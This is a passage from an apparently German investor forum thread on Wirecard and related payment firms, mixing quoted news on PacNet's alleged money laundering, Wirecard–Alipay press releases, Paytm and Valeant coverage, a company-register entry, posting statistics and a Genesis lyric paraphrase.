      According to court filings made public today, PacNet has a 20-year history of engaging in money laundering and mail fraud, by knowingly processing payments on behalf of a wide range of mail fraud schemes that target victims in the United States and throughout the world. According to these records, in 2016 alone, PacNet has processed payments for the perpetrators of more than 100 different mail fraud campaigns, collectively involving tens of millions of dollars. In doing so, PacNet provides fraudsters in other countries with unfettered access to U.S. banks. The records also identify PacNet as the processor for each of the defendants named in the cases announced by the Department today.
      “PacNet has knowingly facilitated the fraudulent activities of its customers for many years, and today’s designations are aimed at shielding Americans and the nation’s financial system from the large-scale, illicit money flows that are generated by these scams against vulnerable individuals,” said OFAC Acting Director John E. Smith. “Treasury will continue to use its authorities to respond to the evolving nature of transnational organized crime.”

      --> chexx inc?
      https://www.justice.gov/opa/pr/justice-department-and-law-en…
      Avatar
      schrieb am 22.09.16 20:29:26
      Beitrag Nr. 195 ()
      http://www.billrini.com/2007/02/02/more-troubles-in-online-p…

      Looks like the folks who cut paper checks for PokerStars, Chexx Inc, are getting out of the online gaming business this week. That will add yet another online poker site who has very limited ways to process cashout requests.
      ...
      Unconfirmed reports have Click2Pay having difficulties processing transactions. If they weren’t on the ACH network watch list before they can probably expect to be there soon so how long they’re able to handle US customers is anybody’s guess.
      Rumors have been swirling about new payment processors hitting the market. Full Tilt has added a new processor called WireCard. WireCard seems to be some sort of Click2Pay owned pre-paid debit card. Unfortunately, these will probably be short-term solutions. When the full force of the UIGEA is put in place these onling gaming centric debit card operators will likely run into problems.
      Again, the problem with almost any solution that someone can cook up is that at some point the money travels through a US financial network. While you might find people willing to risk going to jail to offer a service to Americans the people who own those financial networks aren’t. They’re risk-adverse by nature and if the choice is cut off a payment processor, bank, or other entity or risk violating US laws, they’ll cut off the payment processor.
      For instance, with this new WireCard, you sign up and get a debit card number from them and then you either transfer funds onto the card from your bank or you use your credit card and put money onto the debit card. Now, both funding methods travel over US financial networks. Bank transfers over ACH which just shut down Neteller and credit cards over the Visa and MasterCard networks. At any moment the methods to get money onto or off of the card could be crippled simply by NACHA or Visa/MasterCard issuing a memo identifying WireCard as a company primarily in the business of getting around US anti-gaming laws.
      Avatar
      schrieb am 22.09.16 22:45:09
      Beitrag Nr. 196 ()
      https://www.cardpaymentoptions.com/credit-card-processors/pa…

      We are unable to locate any negative PacNet Services reviews that accuse the company of being a ripoff or a scam; however, there appears to be some confusion caused by the actions of PacNet’s merchants.
      According to this complaint, this complaint, and a separate Better Business Bureau complaint, PacNet Services either currently processes or formerly processed check payments for a company called The Harriston Group based in Washington, Utah. The Harriston Group is an “F” rated organization with the BBB that is known to mail out vaguely worded sweepstakes offers in order to collect funds from unsuspecting citizens. Two complainants have linked The Harriston Group to PacNet Services because the checks they mailed to The Harriston Group were processed by PacNet Services. At this time, there is no evidence that PacNet Services is an owner, partner, or subsidiary of The Harriston Group, nor is there any indication that PacNet is complicit in the sweepstakes offers mailed out by The Harriston Group. However, it appears that PacNet has received some negative reviews due to its association with The Harriston Group.
      Since PacNet Services itself has not been accused of misconduct by its merchants, we will not penalize it heavily in this section. However, merchants should keep this relationship in mind when researching the company.
      PacNet Services offers phone support in some of its countries of operation and email support in all of its countries of operation.
      Avatar
      schrieb am 24.09.16 23:33:09
      Beitrag Nr. 197 ()
      Lange ging es hier nicht mehr um Musik... Aber: Genesis hat die Geschichte der Longs gegen die Shorts bei wirecard längst vertont!
      THE BATTLE OF EPPING FOREST

      Der Text ist nicht wirklich übersetzbar, aber hier ein klasse Versuch
      http://www.rockzirkus.de/forum/showthread.php?16052-5-The-Ba…

      ...über den Waldweg kommtne lange Schlange von Autos – Luxusschlitten und jede hat eine Ladung voller Klappknüppel, Besteckgarnituren – Supernarben! Weil heute, heute ist der Tag, an dem es ausgemacht wird, jetzt wird’s ausgemacht, weil sie halt Meinungsverschiedenheiten haben wegen einiger unterweltlicher Grenzen. Also, da ist erstmal Willy Wright und seine Jungs, ein einziger Höllenlärm, das sind Billys Boys! Und die mit den hypermodernen Bierkrügen, das sind Little Johns Schläger! Weil, heute ist nämlich der Tag, an dem es ausgemacht wird, yo diese christlichen Soldaten machens heute klar, wer die Armen beschützen wird. Deshalb treffen sich die East End Helden im Wald von Epping, da wird das nämlich ausgemacht.
      Genau dort, im Wald von Epping , iss nur eine kleines Stück von dir; so was haste noch nicht gesehen, echt, so was hast du seit dem Bürgerkrieg nicht gesehen.
      Jetzt kommen die Buben von Bill den Hügel runter und Johnnys Kumpels stehen ganz still da und als der erste eine reinkriegt, fangen alle wie narrisch an druff zu kloppen – ey, da gibt’s keine Knarren im Jackett eines Gentleman. Jetzt kommt Schorschi von rechts aussen rein und schwingt ne Kette um seine Birne und Harald Zimperlich macht nen Satz auf den nächsten Baum. (Hey, da kommt ja die Kavallerie!). Mitten in dem ganzen Schlachtgetümmel haben die Buchhalter ein Auge auf den Spielstand - 10:4. Nachdem die ein Handy hatten, waren sie nimmermehr allein; die Glockenblümchen klingeln zur Pause und Süsskram Sam, der Amateurfunker, verteilt Brot und Marmelade, grad wie bei einem richtigen Picknick.
      Jetzt stehts 5:4 für Wilhelm Wright, der hat seine Kohle in einer Derby Nacht gemacht; als der noch ein Kind war und durch die Gassen lief hat er den anderen Kindern einfach eine gescheuert – so haben die das damals halt gemacht. Und jetzt, nach der elenden Plackerei im Sicherheitsgeschäft hat ers endlich geschafft. Die Läden, die nicht bezahlt haben, brauchen Nach-Hilfe.
      "Ich zieh hier mal schnell eine Doppelnummer durch", schnarrt Mick der Stecher, grad raus ausem Knast. „Ich verkaufe billige Ferien und im selben Moment, in dem die aus ihrer Bude raus sind, statte ich denen einen Besuch ab, pah, das zahlt sich aus!" Und sein Freund, der gelenkige Len tönt rum: „ich brech dem Drecksack die Knochen, der mich angeschwärzt hat.“
      Mich nannten sie den Reverend als ich unbefleckt in die Kirche rein bin, meine Bosse sind jetzt andere, aber der Name ist geblieben. Das fing alles an, als ich aufner Tour ein paar Möbel finden wollte. Ich folgte einem Schild, „Schöner Kasten“ stand drauf, das führte zu einer Lady, die zeigte mir gleich ihren Kasten und dann kippte die fast aus den Latschen als ich schnell meine Augen schloss; also klingelt sie und schnell wie aus der Hölle schwirrt Bob, der feine Pinkel an seinen Arbeitsplatz und checkt was Sache ist.
      „Louise ist der Reverend schwer zufrieden zu stellen?“
      „Ganz, wie dus sagst.“
      „Tja Sir, vielleicht könnten wir Sie für eine altmodische Staffordshire Klinge begeistern?“
      „Oh nein, bestimmt nicht, ich bin ein Mann von Reputation.“
      Aber irgendwie hat der Teufel schon seine Klauen in meine Seele gehauen und eine Stimme gellte: „Schiess!“
      Um meinen Kirchturm zu retten, habe ich ein paar Leute besucht und auf dem Weg habe ich Little John getroffen; da hörte ich seinen Namen rufen und ich kriegte mit,
      wie ein Richter sagte „Sie sind ein Robbing Hood.“
      Er erzählte mir irgendwas von einer seltsamen Stiftung, die hatte er sich mit Blick auf eine Woodstock Nation ausgeheckt; der musste irgendwie sein Ansehen verbergen. Als er arm war hat er das Seelenheil noch von Tür zu Tür verkauft, aber jetzt mit sonem Pinup Guru jede Woche ist es die „Liebe, Frieden & Wahrheits AG“ für alle Suchenden.
      Der heuerte mich an als Karma-ma-Mechaniker mit Komplettcharme. Tja, und dann waren seine Hände fertig zum empfangen, zum Almosenempfang.
      Ja nun, deswegen sind wir doch da im Wald von Epping, klar das ist die Keilerei im Epping Wald gerade vor deiner Haustür. Wir beschützen eure Seelen fürn paar Peanuts und für kleines bisschen mehr passen wir auch eure Läden und Häuser auf.
      Der Metzger aus Bethnal Green hat zwar nen linken Haken gelandet aber der wird trotzdem da drüben rechts von Micks Ketten Gang ordentlich bearbeitet und der gelenkige Len mit seinen FlaschenhalsKerls polieren Bob, dem feinen Pinkel die Fresse und Bob steht unter Stress mit seiner verschmierten Schnauze; daneben knallt John das Segelohr dem Len voll eins in die Visage und Harald Zimperlich, der gar nichts mehr schnallt, ballert ein paar Eicheln los mit seiner Zwille. – (ich sachs ja, da kommt die Kavallerie!)
      Los los, hoch und ab jetzt! und drinnen in ihrem Silver Cloud – jo, klasse gemacht – massives und protziges Messing (sieht ziemlich dunkel aus durch die Scheibe) hat der Butler Marmelade auf seinem Brötchen und Roy rückt ne Portion raus, und Tee aus ner Silberkanne gibts auch wie bei einem richtigen Picknick.
      Und überm Waldweg neigt sich der Tag zu Ende und die Clouds kutschieren ab. Jeder hat sein Fett bekommen. Bei Tagesanbruch raus gekommen für die Abrechnung, aber wenn die Limousinen heimfahren ist eben alles vorbei, dann können sie höchstens noch nen bisschen Morgengibber sehen - - „Überlebt hats keiner, iss wohl unentschieden ausgegangen.“
      Tja, und die BlackCap Barone schmeissen ne Münze um die alte Rechung zu begleichen.


      https://www.youtube.com/watch?v=vFuIYyXiD5w
      Avatar
      schrieb am 27.09.16 21:11:37
      Beitrag Nr. 198 ()
      HRB 105184 B:
      NetPlay GmbH,
      Kantstr. 102
      0 10627 Berlin
      Firma: NetPlay GmbH Sitz: Berlin Gegenstand: Die Vermittlung von Glücks- und Gewinnspielen aller Art in allen Bereichen der Medienbranche. Stamm- bzw. Grundkapital: 25.000 EUR Vertretungsregelung: Ist ein Geschäftsführer bestellt, so vertritt er die Gesellschaft allein. Sind mehrere Geschäftsführer bestellt, wird die Gesellschaft gemeinschaftlich durch zwei Geschäftsführer vertreten. Einzelvertretungsbefugnis kann erteilt werden. Geschäftsführer:; Hameister, Sven, *01.04.1984, Berlin; mit der Befugnis die Gesellschaft allein zu vertreten; mit der Befugnis Rechtsgeschäfte mit sich selbst oder als Vertreter Dritter abzuschließen; War Geschäftsführer:; Doppler, Torsten, *23.06.1964, Knüllwald Rechtsform: Gesellschaft mit beschränkter Haftung; Gesellschaftsvertrag vom 11.01.2002 mit letzter Änderung vom 02.03.2006. Durch Beschluss der Gesellschafterversammlung vom 16.11.2006 ist der Sitz der Gesellschaft von Grasbrunn, Landkreis München (Amtsgericht München, HRB 162007) nach Berlin verlegt und der Gesellschaftsvertrag geändert in § 1 (Sitz)..

      Das ist eine der spannendsten aller "wirecardnahen" Firmen,...
      Avatar
      schrieb am 27.09.16 21:18:42
      Beitrag Nr. 199 ()
      Avatar
      schrieb am 04.10.16 17:34:04
      Beitrag Nr. 200 ()
      Zitat von invest_dd: Langsam müssten die Leerverkäufer ein Problem haben, oder sehe ich das falsch?
      Das Unternehmern bringt fortlaufend gute Nachrichten.
      Meine Meinung.

      Vielleicht betreffen die neuen Nachrichten nicht die Themen, wegen derer die Leerverkäufer short sind?
      Ich bin - mich in einen Wirecardaktionär versetzend - glücklich über die Nachricht betreffend IoT (Danke EmBranti)
      Zitat von EmBranti: "Vernetzte Geräte werden in Zukunft das Einkaufen und Bezahlen automatisieren. Der Spezialist für Zahlungsabwicklung Wirecard weiß, welche Innovationen die Zukunft bereithält – und welche Technologie sie möglich machen."
      http://www.gfm-nachrichten.de/news/single-loca/article/zukun…
      Der Artikel (heute erschienen) beschreibt ganz gut was ich meine, wenn ich überzeugt bin, dass Wirecard seinen Aktionären noch viel Freude machen wird. Innovation + gute Arbeit = gute Zukunftsprognose

      Entscheidende Fragen sind aber weiterhin, wie die Integration der Zukäufe gelingt.
      z.B.: Indien
      Da will paytm wachsen, v.a. durch die Banklizenz
      Aber selbst der positivste Artikel über paytm verhelt nicht andere Konkurrenten:
      https://www.techinasia.com/inside-paytms-mini-bank
      Paytm’s got challengers on all sides. With its ecommerce site, it competes with Amazon India, Flipkart, and Snapdeal. When it comes to money, it puts up against rapidly evolving banks, including the newly released Unified Payments Interface that lets people transfer money with a single identifier. Top-ups and utility payments are combated by companies like Snapdeal-owned Freecharge.
      It also has to deal with the nagging habit that refuses to leave – cash.
      Narendra is confident that Paytm’s particular offerings will spur change. “We have 135 million customers completing 3 million transactions a day. We will have over 500 million customers by next year.”

      Ramu hatte sich am Lapitalmarktttag im Mai etwas über paytm lustig gemacht. Seine Grundthese: Paytm gibt zu viel Geld aus für die Akquisition seiner Kunden (Händler).
      Interessant dann, dass GI/Hermes/Wirecard nicht einmal als kOnkurrenz genannt werden in dem Artikel.
      Im Mai erwähnte Ramu insbesondere einen Artikel "vom April". Ich denke, er meinte diesen hier:
      http://timesofindia.indiatimes.com/business/india-business/P…
      Im August hieß es übrigens noch, man habe 20 Mio accounts. Eine beeindruckende Wachstumsrate. Aaaaaber, Ramu hat an einem Punkt schon Recht mit seiner Kritik:
      At present, Paytm continues to lose money on some transactions where it is a payment intermediary as part of its customer acquisition plan. At the same time, it receives a large chunk as transaction fees from certain payments like insurance premium for private companies. According to RBI governor Raghuram Rajan, some of the rules for the payment banks will be made as they go along. Speaking at an event on Monday, Rajan said, "We are taking a bet on Paytm. It is a very innovative firm. Innovative firms are often uncomfortable for regulators. We want to see where they push the system. What we want to see is what the payments banks make of the whole business and see whether more structure needs to be put over the system," said Rajan.

      GI macht das anders: "We solve the last mile problem for the ecommerce in India". Wenn ich Ramu richtig verstehe, hat wirecard nur das Paymentgeschäft gekauft, nicht aber die Infrastruktur, mit der diese Payments überhaupt erst möglich werden. "And he is such a familiar face that he takes care of the last mile problem"
      Ich glaube, diesen Teil des Konzeptes hatte ich bisher falsch verstanden.
      Wirecard ist gar nicht in Konkurrenz zu paytm und anderen und wird deshalb von denen gar nicht als Konkurrenz angesehen. "we turn cash into e-money" - die smartshops werden nicht von wirecard betrieben, nur deren Geldverkehr läuft über wirecard. Icashcard ist das wallet für "10.000 retailers online". Dann verspricht er sich und sagt "unsere Lizenzen ermöglichen uns den Transfer von Geldern auch nach Indien über unsere Partner wie Wirecard, sorry, through wirecard with partners like western Union". Den Versprecher buche ich mal unter "Versprecher". Die Smartshops soll man sich als eine Art "app-Store" vorstellen, wo man verschiedene Dinge machen kann, Geld einzahlen, Mobilkarten aufladen, usw., dazu kommen neue Ideen mit hohen Margen. Der Smartshop kann aber auch Bargeld in ICashcards verwandeln, wenn ich das richtig verstehe. Geldscheine sind ja auch manchmal wirklich eklig, da ist das Geld auf einer ICashCard schon sauberer, wie frisch gewaschen, sozusagen...
      Im Video zeigt Ramu dann die "real money inclusion" von Gemüsehändlern und Lastwagenfahrern. Vielleicht kommen aber auch ganz andere Leute in den Laden und dort wird ihr schmutziges Geld... naja... in sauberes E-Geld verwandelt halt. Was auch sonst.
      Man muß halt nur aufpassen, nicht dass irgendwelche Lotteriebetrüger kommen und ihr ganzes Geld nicht mehr in Kisten verpackt über hawala aus dem Land schmuggeln, sondern die schöne Inklusionsidee missbrauchen für ihre Zwecke. Aber da vertraue ich mal in die aufmerksamen Inder im Smartshop, dass denen das auffallen würde...
      Avatar
      schrieb am 07.10.16 23:11:15
      Beitrag Nr. 201 ()
      Das könnte die Originalquelle sein
      http://tech.sina.com.cn/i/2011-01-21/12225118229.shtml
      “我们的战略联盟联合了两家公司独特的地理优势。”Rüdiger Trautmann,Wirecard AG的首席运营官称,“受经济快速发展的驱动,2007年到欧洲旅游的中国游客超过250万,每位游客平均消费5,000美金。有能力接受中国消费者通过自行选择的支付方式进行的支付,对于我们旅游业的客户来说是一项非常重大的竞争优势”。

        Wirecard AG 首席执行官 Dr. Markus Braun表示:“我们期待与支付宝的合作,这将强化我们在亚洲地区的地位并为我们的客户提供极大的发展空间。”

      Dass Alipay mit Trautmann verhandelt haben soll, ein Jahr nach seinem Rücktritt, das wäre - mit Verlaub - ein Schlag ins Gesicht der Wirecard. Das ist klärungsbedürftig...
      In der Wirecard-Presseerklärung steht etwas anderes...
      http://www2.wirecard.com/fileadmin/wirecard/fileuploads/docu…
      Wirecard und Alipay vereinbaren Kooperation
      Einfacher Zugang zum chinesischen Markt für internationale Händler
      Grasbrunn b. München, 18. Januar 2011; Die Wirecard AG und Alipay,
      China’s führendes Internet-Zahlungssystem, haben eine
      Kooperationsvereinbarung unterzeichnet.
      „Wir freuen uns auf die Zusammenarbeit mit Alipay, welche unsere Position
      in Asien weiter stärkt und unseren Händlern ein erhebliches
      Wachstumspotential bietet“, sagt Dr. Markus Braun, Vorstandsvorsitzender
      der Wirecard AG.
      Im Dezember 2010 verzeichnete Alipay bereits mehr als eine halbe
      Milliarde registrierte Nutzer und ist damit das weltweit führende
      Zahlungssystem. Das Unternehmen wurde 2004 von Chinas größtem ECommerce-Unternehmen, der Alibaba Group, gegründet.
      Mastery Wang, General Manager der Alipay Enterprise Business Unit,
      ergänzt: „Die Kooperation ermöglicht es chinesischen Konsumenten bei
      internationalen Händlern, die die Wirecard-Plattform nutzen, sicher und
      verlässlich mit Alipay zu bezahlen. Gleichzeitig steht diesen Händlern der
      wachstumsstarke chinesische Markt offen.“
      Mehr über das Alipay System und seine Vorteile für international orientierte
      Händler finden Sie hier: http://www.wirecard.com/alipay


      zum Vergleich noch einmal die chinesische Fassung:
      On January 17, 2011, Wirecard AG, based in Munich, Germany, signed a cooperation agreement with Alipay, a third-party online payment platform.
      With the signing of the agreement, Wirecard can provide Alipay as a fast and secure payment method for more than 12,000 business customers behind it. The cooperation will benefit the merchandise and service of Wirecard's merchant to Alipay's 550 million registered users. (Http://www.wirecard.com/alipay)
      Alipay general manager Wang Gang said, Wirecard is one of the leading payment institutions in Europe, the two sides can make Chinese consumers can buy online quality products abroad. At the same time, cooperation to solve these international businessmen face the threshold of the Chinese market for these businesses to open a huge profit margins.
      It is understood that, Wirecard in the global scope of services for more than 12,000 businesses, involving air tickets, hotels, PC, software, games and other industries, including Dell, Microsoft and other IT giants and Malaysia Airlines, Turkish Airlines and other international airlines. Wirecard and Alipay's cooperation is not only to provide Europe, but for the global cooperation businessmen to enter China's channels.
      "We are the global group and wirecard cooperation, covering many important industries such as air travel, games, software, etc. Since the wirecard itself is mainly to serve the business, there is no real C users, so through cooperation will be for many users Open the international market. "Wang Gang said. He expects the first year of wirecard to have 10 million deals in China.
      "Our strategic alliance combines the unique strengths of the two companies," said Rüdiger Trautmann, COO of Wirecard AG. "Driven by rapid economic growth, more than 2.5 million Chinese tourists traveled to Europe in 2007, With an average spending of US $ 5,000, the ability to accept payments made by Chinese consumers through their own payment options is a significant competitive advantage for our tourism clients. "
      "We look forward to working with Alipay, which will strengthen our position in the Asian region and provide significant growth opportunities for our customers," said Dr. Markus Braun, Chief Executive Officer of Wirecard AG.
      Avatar
      schrieb am 01.11.16 10:51:04
      Beitrag Nr. 202 ()
      Man bezeichnet jigajig manchmal als Schwachsinnigen oder Psychopathen, oder spricht von Dan McCrum sehr abschätzig, versucht, ihn mit Betrügern gleichzusetzen und so weiter. Das ist ja nicht so ungewöhnlich. Nur manchmal haben schwachsinnige Aktivisten doch tatsächlich ein besseres Gespür als Analysten...

      Bill Ackman, der aggressiv pro Valeant ist, nannte John Hempton in einer Mail einen Verrückten - und wettete viele Millionen gegen ihn (Quelle: Bloomberg, Juli 2016)

      Ich habe mittlerweile mit einigen Beteiligten gesprochen, denn eine Sache ist lustig: Personen, die die Wirecard sehr kritisch sehen, haben z.B. bei Valeant nicht unbedingt die gleiche Meinung. Ein Fondmanager beispielsweise forderte seine Firma 2012 mehr oder weniger auf, Wirecard komplett abzustoßen. Der Streit ging so weit, dass der Fondsmanager die Firma (deshalb?) verlassen hat (Quelle: persönliche Mitteilung)
      Inzwischen ist dieser Hedgefonds nicht mehr in Wirecard investiert (soweit sich das klären ließ)(Quelle: google). Dieser Fondsmanager wiederum hält große Stücke auf den CEO von Valeant. (Quelle: p.M.)

      Bei Valeant geht's mittlerweile wieder zur Sache, auch Preet Bharara sei involviert (der Staatsanwalt von New York), was wirecardkritische Pearson-Befürworter zu Wutausbrüchen trieb ("Bharara geht hier eindeutig zu weit", Quelle: Telefonat)

      http://business.financialpost.com/news/valeant-stock-plunges…
      U.S. prosecutors are focusing on Valeant Pharmaceuticals International Inc.’s former CEO and CFO as they build a fraud case against the company that could yield charges within weeks, according to people familiar with the matter.
      Authorities are looking into potential accounting fraud charges related to the company’s hidden ties to Philidor Rx Services LLC, a specialty pharmacy company that Valeant secretly controlled, the people said. Federal prosecutors in Manhattan and agents at the Federal Bureau of Investigation in New York have been investigating the company for at least a year.


      Als höflicher Mensch habe ich natürlich einigen beteiligten ganz freundlich gratuliert und nebenbei gefragt, ob sie sich eine annähernd vergleichbare Entwicklung bei Wirecard vorstellen könnten. Antwort:

      All the good things come to those who can wait
      Avatar
      schrieb am 01.11.16 15:19:28
      Beitrag Nr. 203 ()
      http://www.finanzen.net/analyse/Wirecard_kaufen-DZ_BANK_5928…
      Die DZ Bank hat die Einstufung für Wirecard nach vorläufigen Zahlen zum dritten Quartal auf "Kaufen" mit einem fairen Wert von 55,50 Euro belassen. Der Spezialist für elektronische Bezahlvorgänge entwickle sich in puncto Umsatz und Ergebnis (Ebitda) unvermindert dynamisch, schrieb Analyst Harald Heider in einer Studie vom Dienstag.

      mind the gap!

      @Alipay
      Last year, Ant Financial and its affiliate Alibaba poured about $1 billion into technology firm One97 Communications, which runs Paytm, India's largest mobile payment and commerce platform.
      Data compiled by Dealogic showed the two companies took a 25 percent stake in February 2015, worth $500 million, then a further 15 percent in September 2015, also worth $500 million.

      Alipay investierte also 1 Milliarde US$ in einen Konkurrenten der I Cash Card. Bitte um Beachtung.

      @weitere Anmerkungen:
      The unlisted Chinese financial services powerhouse, valued at $60 billion as of April, already has partnerships with companies including Concardis, Ingenico, Wirecard and Zapper in Europe, First Data and Verifone in North America, and Paysbuy and Counter Services in Southeast Asia.


      mehrere Dinge sind hier (spekulativ) zu beachten. Erstens Ingenico: die haben eine große Kooperation mit Alipay und zugleich bauen sie ihre mpayment-Sparte aus, ausdrücklich wird Deutschland im jüngsten Bericht Ingenicos erwähnt. Gleichzeitig kooperieren sie aber in anderen Märkten mit der Wirecard (beispielsweise in Indonesien). Diese Mischung aus Konkurrenz und Kooperation scheint immer bedeutsamer zu werden. Zusätzlich gibt es neue Marktteilnehmer, die teilweise von Personen geleitet werden, die zuvor bei "großen" Firmen wie Verifone, Ingenico, Wirecard usw. gearbeitet haben. Der Markt wird dadurch komplizierter, was zugleich Chance und Risiko ist für alle Beteiligten.

      Zweitens Concardis:
      Die deutschen Banken verkaufen Concardis (passenderweise ist die DZ Bank einer der Eigentümer, die wiederum das Bankensystem bank21 für die Wirecard betreibt), zu den möglichen Interessenten werden Wirecard, Ingenico, Atos/Worldline und First Data gezählt. First Data arbeitet seit 2006 eng mit Concardis zusammen und für mich wäre es durchaus denkbar, dass sie sich Concardis kaufen. Warum nicht? FirstData investierte bereits in Deutschland (Telecash, Gesellschaft für
      Zahlungssysteme mbH) und hat einen noch bis 2019 laufenden Acquiringvertrag mit Concardis (Quelle)

      Da auch Concardis mit Alipay kooperiert, wäre das für First Data super, da First Data wiederum im Rahmen der 2020money eine Kooperation mit Alipay bekanntgegeben hat (Quelle)
      (und es sind immer noch 4,1 Mio merchants)
      Avatar
      schrieb am 08.11.16 16:28:22
      Beitrag Nr. 204 ()
      66 der letzten 137 postings kamen von Wirecardgegnern, das sind 48%. Inklusive neutraler Teinehmer bedeutet dies: quasi unentschieden!

      Davon schrieb ich 49, das sind fünf am Tag.
      Davon waren 4 technische Fehler, 20 enthielten Antworten, 15 wertete ich als nicht thematisch passend oder provozierend, das ist etwa ein Drittel (enthalten sind Abwehrpostings auf Beleidigungen).
      22 postings (insgesamt) bewertete ich als provozierend/beleidigend, davon kamen zwei Drittel von Wirecardbefürwortern.
      Es gab mehrere Moderationen, davon betrafen drei Beleidigungen, keine davon war von mir.
      34 postings wertete ich als direkte Antworten (egal ob mit Provokation oder nicht), davon kamen 26 von mir oder Sam! (76%!)
      58 bewertete ich als "Meinungsäußerung", davon 38% ich oder Sam.
      10 postings waren reine Paste&Copy, davon 1 von mir
      Die Statistik "posting ohne jeden Bezug zur Wirecard" erspare ich Euch.
      Avatar
      schrieb am 13.11.16 14:39:59
      Beitrag Nr. 205 ()
      257 postings
      - davon 123 Jigajig oder Sam (48%), davon 88 Input oder Antwort (72%)
      - insgesamt 61 postings beleidigend oder provozierend, davon Jig/Sam 19
      - Hedge8 und Yami: 20 postings, davon über provozierend u/o beleidigend, zwei gelöschte Beleidigungen
      - Anteil von provozierenden und beleidigenden postings der Wirecardisten: 31% (inkl neutrale)

      Selbst wenn man alle Postenden außer jig und Sam als "wirecard-Befürwörter" mitzählt, ist der Prozentsatz beleidigender und provozierender Postings nahezu dopplet so hoch.
      Avatar
      schrieb am 17.11.16 19:01:37
      Beitrag Nr. 206 ()
      so wie das hier:
      https://heft.manager-magazin.de/digital/#MM/2016/12/14798065…
      ...wird demontiert...
      Als Wirecard 2014 die Partnerschaft mit Rocket Internet verkündete, brachte dies ein Allzeithoch.
      https://www.wirecard.de/newsroom/pressemeldungen/newsdetail/…
      Wirecard sollte irgendwie das Payment machen für die Samwerfirmen. Die alte Garde hier wird's ja sicher noch erzählen können, worum es ging.
      Heute versuchen's die Samwers mit allerlei Fintechs:
      http://www.gruenderszene.de/allgemein/rocket-internet-fintec…
      Mit dem Thema Fintech tat sich Rocket Internet in der letzten Zeit schwer. Paymill musste Insolvenz anmelden, Zencap schlüpfte unter das Dach des britischen Platzhirsches Funding Circle. Und die beiden Dienste Payleven und SumUp fusionierten ebenfalls. Ein großer Erfolg blieb für Rocket bislang aus.
      Jetzt holt sich der Company Builder Verstärkung. Zusammen mit der börsennotierten Fintech Group plant Rocket, digitale Bankendienstleistungen für den europäischen Markt aufzubauen, heißt es in einer Mitteilung. Dafür können die beiden auf die Banklizenz der Fintech-Group-Tochter biw AG zurückgreifen....
      Mit einem Investment in das britische Startup Loot hat sich Rocket über seinen Investment-Arm Global Founders Capital kürzlich auch an einer Banking-App beteiligt.

      Loot wiederum läuft über die Wirecard.
      Ich kapier gar nichts mehr. Bin gespannt, wer diesen ganzen Fintechbrei in fünf Jahren wieder auseinaderdividiert.
      Avatar
      schrieb am 20.11.16 09:17:18
      Beitrag Nr. 207 ()
      Hannopver Genpage HV

      Mit Vertrag vom 08. Februar 2007 wurde zwischenzeitlich der gesamte Bereich Online Payment, der in der Gruppe durch den Teilkonzern der Genpage Holding AG repräsentiert war, verkauft.

      Als weiterer Schritt ergab sich die Notwendigkeit, den Verkauf des Unternehmensbereichs Online-Entertainment unverzüglich einzuleiten und zu vollziehen, um weitere Schäden, die in Folge eines plötzlichen Abbruchs der Geschäftstätigkeiten der Gesellschaft einschließlich erheblicher Schadensersatzansprüche wegen Nicht-Auszahlung von Gewinnen und Guthaben von Teilnehmern entstehen, zu verhüten. Die Umsetzung dieser Maßnahme duldete keinen Aufschub bis zur Hauptversammlung unserer Gesellschaft.

      Der Vorstand der Gesellschaft sah sich daher veranlasst, auch den Verkauf des Unternehmensteilbereichs Online-Entertainment unmittelbar zu vollziehen. Der Vertrag ist jedoch geknüpft an eine Zustimmung der Hauptversammlung gemäß dem Vorschlag zu Tagesordnungspunkt 8. Sollte die Hauptversammlung entgegen dem Vorschlag von Vorstand und Aufsichtsrat die Zustimmung zu diesem Vertrag nicht erteilen, ist eine Rückabwicklung dieses Verkaufs sichergestellt.

      Durch den Kaufvertrag mit der Market Alliance Agency Ltd. erhält unsere Gesellschaft zunächst einmal als Kaufpreis 90 % der Nettoüberschüsse der verkauften Beteiligungsgesellschaften bis zur Erreichung des Buchwertes der Beteiligung von insgesamt 34 Millionen Euro. Von den darüber hinausgehenden Gewinnen der verkauften Gesellschaften erhält die Betonusa AG auch weiterhin jeweils 50 Prozent. Durch diese Maßnahme wird unsere Gesellschaft auch nach der Veräußerung noch im substantiellen Umfang an dem wirtschaftlichen Ergebnis des vormaligen Unternehmensbereichs Online-Entertainment partizipieren.

      Im Rahmen einer unternehmerischen Neuausrichtung, die ihren Niederschlag in der unter Tagesordnungspunkt 7 vorgesehenen Änderung des Gegenstandes der Gesellschaft und Umfirmierung der Gesellschaft findet, ist beabsichtigt, das vorhandene Vermögen der Gesellschaft für eine neue Geschäftstätigkeit zu verwenden, deren Legalität durch die amerikanische Gesetzgebung nicht tangiert wird.
      Avatar
      schrieb am 20.11.16 09:20:49
      Beitrag Nr. 208 ()
      @ Genpage Holding (Webtrade Holding)

      eValue Europe AG (ehem. United MailSolutions Holding AG, ehem. ACTIUM Beteiligungs AG)


      Stammdaten:

      Adresse: Kennedydamm 1, 40476 Düsseldorf
      www.evalueeurope.com
      Telefon: +49 (0) 211 5209940
      ISIN: DE000A0E96N3
      Freiverkehr (Entry Standard)
      Aktien: 1.517.397
      Aktionärsstruktur: Thomas Falk via eValue AG 80.40 %
      Vorstand: Jörg Sahlmann
      Aufsichtsrat: Martin Wulf, Jörn Mika, Christian Falk

      Aha! Dachte ich es mir doch :)
      Avatar
      schrieb am 20.11.16 14:47:11
      Beitrag Nr. 209 ()
      1995
      To date commerce on the Internet has suffered from the fact that there are no readily available means for payment. Payment to date has generally been made by credit card but concerns about the security of e-mail has meant that this information is often sent by fax or conveyed over the telephone. CommerceNet and others are working on secure ‘web browsers.’ Lee Stein, the founder of First Virtual Holdings, one of a group of new entrepreneurs developing electronic payment systems for the Internet, has observed “Unless the Internet embraces commerce, it runs the risk of going the way of CB radio. If people aren't making money, they won't add value and this won't work” (Economist, 1994b).
      Banks and the Internet
      To date commercial banks have shown only limited interest in the Internet. Given their focus on private, proprietary networks, it is not surprising that banks view with some misgiving a computer network which has been established to facilitate the free exchange of non-sensitive and non-financial information. Some argue that it is the very openness of the Internet which makes it unsuitable for handling transfers of information relating to money or value. The general view taken is that customers will not require Internet-based payment systems for some time to come and that existing payment methods will therefore remain dominant. There are parallel concerns about preserving the integrity of existing investments in payment infrastructure and not to be seen to be promoting less controllable alternatives. Bankers also argue that since the Internet is not owned by anybody and users are spread all over the world, security would be almost impossible to implement because of the different legal, tax and regulatory regimes which would apply.
